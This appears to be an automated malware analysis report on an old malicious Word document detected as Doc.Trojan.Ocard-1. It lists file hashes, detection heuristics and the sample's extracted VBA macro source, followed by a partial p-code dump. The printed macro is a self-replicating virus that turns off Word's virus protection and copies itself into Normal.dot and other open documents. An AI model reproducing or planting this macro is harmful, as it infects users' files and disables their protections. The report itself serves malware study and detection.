Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c38e9edd7c4cc6d2…

MALICIOUS

Office (OLE)

35.0 KB Created: 1997-09-17 11:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: e94fdedcf121228785f8418f4f1c08f8 SHA-1: 3c796b548f52c763541d6009be4f630e1363aa56 SHA-256: c38e9edd7c4cc6d2bf3366aee1e091466104ce624305280142de670194890928
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a malicious Office document containing VBA macros. The macros are designed to modify the Normal.dot template, which is a common technique for establishing persistence or downloading further stages. The ClamAV detection 'Doc.Trojan.Ocard-1' further supports its malicious nature. The specific intent of the macro is to copy its own code into the Normal.dot template, potentially to ensure execution on subsequent document openings.

Heuristics 2

  • ClamAV: Doc.Trojan.Ocard-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Ocard-1
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8556 bytes
SHA-256: 7afdf360ac4a2562430df6ea6dd1f2b21b8e902ff08c82bf280137780f5b3fd1
Detection
ClamAV: Doc.Trojan.Ocard-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
'Draco Malfoy
Dim a As Document, t As Template
Dim beak As Double, str As String
Dim i, salmon As Integer
On Error Resume Next
Set a = ActiveDocument
Set t = NormalTemplate
'Coups -39
Options.VirusProtection = False
Options.SaveNormalPrompt = False
Options.ConfirmConversions = False
If Left(a.VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1), 6) = "'Draco" Then
    salmon = vbOK
End If
If Left(t.VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1), 6) = "'Draco" Then
    salmon = salmon + vbCritical
End If
Select Case salmon
    Case vbOK
    str = a.VBProject.VBComponents.Item(1).CodeModule.Lines(1, a.VBProject.VBComponents.Item(1).CodeModule.CountOfLines)
    With t.VBProject.VBComponents.Item(1).CodeModule
        .DeleteLines 1, .CountOfLines
        .AddFromString str
        beak = Val(Mid(.Lines(9, 1), 7, Len(.Lines(9, 1)))) + 1
        .ReplaceLine 9, "'Coups " & beak
        If beak Mod 2 Then
            .ReplaceLine 1, Left(.Lines(1, 1), 21) & "Close()"
        Else
            .ReplaceLine 1, Left(.Lines(1, 1), 21) & "Open()"
        End If
    End With
    Case vbCritical
    str = t.VBProject.VBComponents.Item(1).CodeModule.Lines(1, t.VBProject.VBComponents.Item(1).CodeModule.CountOfLines)
    With a.VBProject.VBComponents.Item(1).CodeModule
        .DeleteLines 1, .CountOfLines
        .AddFromString str
    End With
    Case vbByte
    str = a.VBProject.VBComponents.Item(1).CodeModule.Lines(1, a.VBProject.VBComponents.Item(1).CodeModule.CountOfLines)
    For i = 1 To Word.Windows.Count
        With Word.Windows.Item(i).Document.VBProject.VBComponents.Item(1).CodeModule
            If Left(.Lines(2, 1), 6) <> "'Draco" Then
                .DeleteLines 1, .CountOfLines
                .AddFromString str
            End If
        End With
        Word.Windows.Item(i).Document.Save
    Next i
End Select
If Month(Now) = 5 And Day(Now) = 5 Then
    If Right(a.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1), 7) = "Close()" Then
        Selection.TypeText "Is it not a Camel ? "
        a.Save
    End If
End If
End Sub






' Processing file: /opt/analyzer/scan_staging/4ccff53e553e4422bbbb6f8b3cc28e39.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 4154 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_Close())
' Line #1:
' 	QuoteRem 0x0000 0x000C "Draco Malfoy"
' Line #2:
' 	Dim 
' 	VarDefn a (As Document)
' 	VarDefn t (As Template)
' Line #3:
' 	Dim 
' 	VarDefn beak (As Double)
' 	VarDefn str (As String)
' Line #4:
' 	Dim 
' 	VarDefn i
' 	VarDefn salmon (As Integer)
' Line #5:
' 	OnError (Resume Next) 
' Line #6:
' 	SetStmt 
' 	Ld ActiveDocument 
' 	Set a 
' Line #7:
' 	SetStmt 
' 	Ld NormalTemplate 
' 	Set t 
' Line #8:
' 	QuoteRem 0x0000 0x0009 "Coups -39"
' Line #9:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #10:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #11:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt ConfirmConversions 
' Line #12:
' 	LitDI2 0x0002 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld a 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	LitDI2 0x0006 
' 	ArgsLd LBound 0x0002 
' 	LitStr 0x0006 "'Draco"
' 	Eq 
' 	IfBlock 
' Line #13:
' 	Ld vbOK 
' 	St salmon 
' Line #14:
' 	EndIfBlock 
' Line #15:
' 	LitDI2 0x0002 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld t 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	LitDI2 0x0006 
' 	ArgsLd LBound 0x0002 
' 	LitStr 0x0006 "'Draco"
' 	Eq 
' 	IfBlock 
' Line #16:
' 	Ld salmon 
' 	Ld vbCritical 
' 	Add 
' 	St salmon 
' Line #17:
' 	E
... (truncated)

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